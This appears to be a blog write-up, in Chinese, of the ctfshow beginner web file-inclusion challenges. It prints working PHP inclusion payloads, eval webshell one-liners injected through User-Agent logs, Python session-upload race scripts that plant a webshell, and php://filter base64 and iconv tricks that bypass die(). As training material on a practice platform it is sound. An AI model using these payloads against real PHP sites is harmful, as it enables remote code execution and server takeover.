ctfshow web入门 文件包含全部wp

Web78

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
//?file=data:text/plain,<?php system('cat flag.php');?>

Web79

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web80

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
//?file=../../../../../../../var/log/nginx/access.log

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,User-Agent等HTTP请求的信息

在User-Agent中插入一句话木马

<?php eval($_POST['-7'])?>

image-20250213235155741

用蚁剑连接 发现目录的fl0g.php

方法二:

发现可以大小写绕过

?file=pHp://input

post传参

<?php system("cat fl0g.php");?>

Web81

<?php
if(isset($_GET['file'])){
  $file = $_GET['file'];
  $file = str_replace("php", "???", $file);
  $file = str_replace("data", "???", $file);
  $file = str_replace(":", "???", $file);
  include($file);
}else{
  highlight_file(__FILE__);
}

比Web80多过滤了:但方法一的访问日志UA头插入一句话木马仍旧可用

Web82(条件竞争 session.use_strict_mode=off Cookie中sessionid可控)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

方法一:

利用脚本

import requests
import io
import threading


url='http://275a3cc3-3c6b-4382-a70b-141a4cce4638.challenge.ctf.show/'
sessionid='ctfshow'
data={
	"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}  

'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''


# /tmp/sess_sessionid 中写入一句话木马。
def write(session):  
	fileBytes = io.BytesIO(b'a'*1024*50)
	while True:
		response=session.post(
			url,
			data={
			'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
			},
			cookies={
			'PHPSESSID':sessionid
			},
			files={
			'file':('ctfshow.jpg',fileBytes)
			}
			)


# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
	while True:
		response=session.post(
			url+'?file=/tmp/sess_'+sessionid,
	        data=data,
			cookies={
			'PHPSESSID':sessionid
			}
			)
		# 访问木马文件,如果访问到了就代表竞争成功
		resposne2=session.get(url+'muma.php')
		if resposne2.status_code==200:
			print('++++++done++++++')
		else:
			print(resposne2.status_code)

if __name__ == '__main__':

	evnet=threading.Event()
	# 写入和访问分别设置 5 个线程。
	with requests.session() as session:
		for i in range(5):
			threading.Thread(target=write,args=(session,)).start()
		for i in range(5):
			threading.Thread(target=read,args=(session,)).start()

	evnet.set()


运行成功后 蚁剑连接或者bp发包

image-20250214001605009

还有一个常规的脚本

import io
import requests
import threading
sessid = 'jiuzhen'
data = {1:"system('cat fl0g.php');"}
url='http://9a77fcb3-6f3c-4bd6-a247-07bfe6766509.challenge.ctf.show:8080/'
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>jiuzhen'}, files={'file': ('jiuzhen.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post(url+'?file=/tmp/sess_'+sessid,data=data)
        if 'jiuzhen' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

方法二:

直接用bp

如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_flag”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

先构造一个文件上传

<!DOCTYPE html>
<html>
<body>
<form action="http://95032c6e-7d27-41c8-aff1-4c36831c85ab.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

我们一共抓两个包

第一个包,我们添加一个Cookie: PHPSESSID=flag,在/tmp/sess_PHPSESSID目录下,PHP将会在服务器上创建一个文件:/tmp/sess_flag 然后我们在PHP_SESSION_UPLOAD_PROGRESS下添加我们的执行代码即可

image-20250214120823037

因为我们在上面这个页面添加的ID值是flag,所以传参?file=/tmp/sess_flag

image-20250214120859245

image-20250214120910080

两个一起发包

image-20250214121109429

Web83~Web86

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_unset();
session_destroy();

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);

    include($file);
}else{
    highlight_file(__FILE__);
}

warning提示了 ,所以表单构造需要重新构造,多了 session_start();

<!DOCTYPE html>
<html>
<body>
<form action="http://668ba926-9165-49e7-92fb-c94a08d54feb.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

同时82-86用py脚本都能跑

Web84

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

Web85

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

Web86

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);

    
}else{
    highlight_file(__FILE__);
}

Web87(绕过die)

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

这题有两个参数,将content的值写入File中,但开头增加了die,导致我们即使写入一句话,也执行不了,所以我们要绕过die

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
p神的谈一谈php://filter的妙用

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

使用php://filter流的base64-decode方法,将$content解码,base64编码只包含64个可打印字符,而php在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以,一个正常的base64_decode实际上可以理解为:

<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以当$content被加上了<?php exit;?>以后,我们可以使用php://filter/write=convert.base64-decode来解码。在解码的过程中,字符< ? ; > 空格等不符合base64编码的字符范围将被忽略,最终被解码为"phpexit"和我们传入的其他字符

"phpexit"一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加一个"a"一共8个字符。这样"phpexita"就会被正常解码,而后面我们传入的webshell的base64内容也会被正常解码。

本题中的phpdie一共为6个字符,所以我们解码的时候需要再添加两个字符,比如"aa"

file=php://filter/write=convert.base64-decode/resource=1.php
(file里的内容需要进行两次url编码)
content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

image-20250214132245070

然后访问/1.php 执行命令

image-20250214132314323

Web88

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg
(base64编码的时候要去掉末尾的"=")
//?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTs/Pg

Web116

题目给我们的是一个视频 放到随波逐流分析 formost一下 得到一张png

image-20250214133909858

/?file=flag.php

image-20250214134319154

Web117(绕过die之base64,rot13,string被过滤)

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

需要在绕过filter函数过滤的基础上,再来绕过死亡函数。base64,rot13,string这些都被过滤了,因为正则匹配是针对url解码后的内容进行的。

把一句话木马从UCS-2LE编码转换为UCS-2BE编码:

<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>

image-20250214135357565

得到

?<hp pe@av(l_$EG[T]1;)>?
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
contents=?<hp pe@av(l_$EG[T]1;)>?

image-20250214135657817

然后访问/1.php

/1.php?1=system("cat flag.php");
posted @ 2025-02-19 15:19  dynasty_chenzi  阅读(117)  评论(0)    收藏  举报
返回顶端